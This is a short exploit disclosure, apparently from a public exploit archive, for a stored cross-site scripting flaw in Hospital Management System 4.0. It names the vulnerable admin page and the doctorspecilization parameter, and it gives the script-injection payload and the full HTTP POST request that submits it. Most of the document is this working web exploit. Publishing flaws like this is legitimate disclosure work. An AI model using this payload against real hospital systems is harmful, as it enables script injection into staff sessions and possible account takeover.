Hospital Management System 4.0 Cross Site Scripting

`# Exploit Title: Hospital Management System 4.0 - Persistent Cross-Site Scripting  
# Google Dork: N/A  
# Date: 2020-01-02  
# Exploit Author: FULLSHADE  
# Vendor Homepage: https://phpgurukul.com/  
# Software Link: https://phpgurukul.com/hospital-management-system-in-php/  
# Version: v4.0  
# Tested on: Windows  
# CVE : N/A  
  
================ 1. - Cross Site Scripting (Persistent) ================  
  
URL : http://10.0.0.214/hospital/hospital/hms/admin/doctor-specilization.php  
Method : POST  
Parameter: doctorspecilization  
Attack : </td><script>alert("XSS");</script><td>  
  
POST /hospital/hospital/hms/admin/doctor-specilization.php HTTP/1.1  
Host: 10.0.0.214  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://10.0.0.214/hospital/hospital/hms/admin/doctor-specilization.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 97  
Origin: http://10.0.0.214  
DNT: 1  
Connection: close  
Cookie: PHPSESSID=g1mpom762nglpeptn51b4rg5h5  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
  
doctorspecilization=%3C%2Ftd%3E%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E%3Ctd%3E&submit=  
  
?doctorspecilization parameter is vulnerable to create a persistent and stored XSS exploit in the application depending on how it's viewed  
`